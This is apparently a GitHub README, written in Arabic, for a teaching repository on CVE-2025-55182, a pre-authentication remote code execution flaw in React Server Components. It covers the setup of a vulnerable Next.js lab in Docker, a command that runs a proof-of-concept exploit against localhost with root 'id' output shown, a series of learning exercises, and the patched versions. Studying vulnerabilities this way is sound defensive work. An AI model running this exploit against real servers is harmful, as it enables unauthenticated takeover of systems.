itumo-arigatone/study-cve-2025-55182مستودع تعليمي لتعلّم CVE-2025-55182: ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) قبل المصادقة في مكونات خادم React. يتضمن توثيقًا خطوة بخطوة، وتمارين عملية، وإثبات مفهوم للاستغلال في تطبيق Next.js ضعيف يعمل داخل Docker.
| العنصر | المحتوى |
|---|
| CVE ID | CVE-2025-55182 |
| النوع | Pre-authentication Remote Code Execution (RCE) |
| CWE | CWE-502: Deserialization of Untrusted Data |
| CVSS | 10.0 (Critical) |
| التأثير | React 19.0.0 - 19.2.2 |
.
├── docs/ # 📚 مستندات التعلّم (Step 1-4)
├── exercises/ # 🧪 سكريبتات التمارين
├── exploit/ # 💀 سكريبتات PoC
└── vulnerable-app/ # 🎯 تطبيق Next.js الضعيف
cd vulnerable-app
docker compose up --build -d
cd exploit
pip install -r requirements.txt
python3 poc.py http://localhost:3000 "id"
uid=0(root) gid=0(root) groups=0(root)...
🎉 نجاح RCE!
توجد مستندات لفهم الثغرة بشكل تدريجي:
| الخطوة | الموضوع | الملف |
|---|---|---|
| 1 | أساسيات Prototype Pollution | docs/01_prototype_pollution_basics.md |
| 2 | Constructor Chain و RCE | docs/02_constructor_chain.md |
| 3 | بروتوكول React Flight | docs/03_react_flight_protocol.md |
| 4 | الصورة الكاملة للثغرة والإصلاح | docs/04_vulnerability_summary.md |
# الخطوة 1: جرّب Prototype Pollution
node exercises/01_prototype_pollution.js
# الخطوة 2: افهم Constructor Chain
node exercises/02_constructor_chain.js
# الخطوة 3: محاكاة حلّ المراجع
node exercises/03_reference_resolution.js
# الخطوة 4: التحليل الكامل للحمولة
node exercises/04_full_exploit_analysis.js
# حدّث React إلى أحدث إصدار
npm install react@latest react-dom@latest
الإصدارات المُصحَّحة: 19.0.3+, 19.1.4+, 19.2.3+